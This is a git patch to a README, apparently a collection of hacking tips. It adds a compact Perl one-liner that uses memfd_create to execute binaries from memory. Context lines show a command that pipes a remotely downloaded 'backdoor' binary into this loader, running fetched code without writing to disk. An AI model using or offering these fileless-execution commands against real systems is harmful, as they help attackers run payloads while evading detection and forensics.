From 864e119e60ea02e2eb031cdf3e030e0745ff7789 Mon Sep 17 00:00:00 2001 From: skyper <5938498+SkyperTHC@users.noreply.github.com> Date: Sun, 8 Sep 2024 22:07:35 +0100 Subject: [PATCH] Update README.md --- README.md | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/README.md b/README.md index f8a4f74..632b78e 100644 --- a/README.md +++ b/README.md @@ -2040,6 +2040,12 @@ exec {"/proc/$$/fd/$f"} '"${strargv0}"'@ARGV or die "exec: $!";' -- "$@" # cat /usr/bin/id | memexec -u # curl -SsfL https://thc.org/my-backdoor-binary | memexec ``` + +The shortest possible variant is (example): +```shell +MX=("perl" '-efor(319,279){($f=syscall$_,$",1)>0&&last};open($o,">&=".$f);print$o();exec{"/proc/$$/fd/$f"}X,@ARGV' "--") +# Example: cat /usr/bin/id | "${MX[@]}" -u +``` (Thank you [tmp.Out](https://tmpout.sh/) for some educated discussions) Deploy gsocket without writing to the filesystem (example):